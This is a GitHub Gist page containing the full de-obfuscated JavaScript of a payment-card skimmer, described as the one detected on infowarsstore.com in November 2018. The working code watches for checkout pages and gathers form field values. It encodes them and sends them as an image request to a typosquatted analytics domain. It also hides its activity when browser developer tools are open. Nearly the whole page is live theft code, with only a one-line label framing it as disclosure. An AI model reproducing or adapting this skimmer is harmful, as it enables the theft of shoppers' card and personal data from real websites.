Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
de-obfuscated infowarsstore.com payment skimmer as detected on 2018-11-12 by https://twitter.com/gwillem
var idString = "id",
nameString = "name",
tokenOrCSRF = new RegExp("token|search|csfr|keyword|button"),
zoneRegionStateCountry = new RegExp("zone|region|state|country"),
formObj = {},
formLength = 0,
emptyString = "",
devToolsStatus = {
open: !1,
orientation: null
},
threshold = 160,
emitEvent = function(e, t) {
window.dispatchEvent(new CustomEvent("devtoolschange", {
detail: {
open: e,
orientation: t
}
}))
};
function b64(e) {
return btoa(encodeURIComponent(e).replace(/%([0-9A-F]{2})/g, function(e, t) {
return String.fromCharCode(parseInt(t, 16))
}))
}
function collectForm() {
Array.from(document.querySelectorAll("input,select")).forEach(function(e, t) {
var o = e.value;
tokenOrCSRF.test(e.id) ||
tokenOrCSRF.test(e.name) ||
("select" == e.tagName.toLowerCase()
&& (zoneRegionStateCountry.test(e.id)
|| zoneRegionStateCountry.test(e.id))
&& e.value.replace(/[^-0-9]/gim, "") == e.value
&& (o = e.options[e.selectedIndex].text), null != e.getAttribute(idString) ? o.length < 50 && 0 < o.length && (formObj[e.getAttribute(idString)] = o) : null != e.getAttribute(nameString) && o.length < 50 && 0 < o.length && (formObj[e.getAttribute(nameString)] = o))
});
sendForm(formObj)
}
function sendForm(e) {
if (1 == devToolsStatus.open) return clearInterval(emptyString), void(emptyString = "");
if (formLength != JSON.stringify(e).length) {
e.type = "1", e.url = location.hostname;
var t = "a" + 89999 * Math.random() + 1e4,
o = JSON.stringify(e),
n = document.createElement("img");
n.width = "1px",
n.height = "1px",
n.id = t,
n.src = "http://google-analyitics.org/ga/ga.php?image_id=" + b64(o),
document.body.appendChild(n),
setTimeout(document.getElementById(t).outerHTML = "", 3e3),
formLength = JSON.stringify(e).length
}
}
if (setInterval(function() {
var e = window.outerWidth - window.innerWidth > threshold,
t = window.outerHeight - window.innerHeight > threshold,
o = e ? "vertical" : "horizontal";
t && e || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || e || t) ? (devToolsStatus.open && emitEvent(!1, null), devToolsStatus.open = !1, devToolsStatus.orientation = null) : (devToolsStatus.open && devToolsStatus.orientation === o || emitEvent(!0, o), devToolsStatus.open = !0, devToolsStatus.orientation = o)
}, 500), "undefined" != typeof module && module.exports ? module.exports = devToolsStatus : window.GNfYmC = devToolsStatus, -1 != location.href.search("checkout|onepage")) emptyString = setInterval(function() {
collectForm()
}, 1500);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.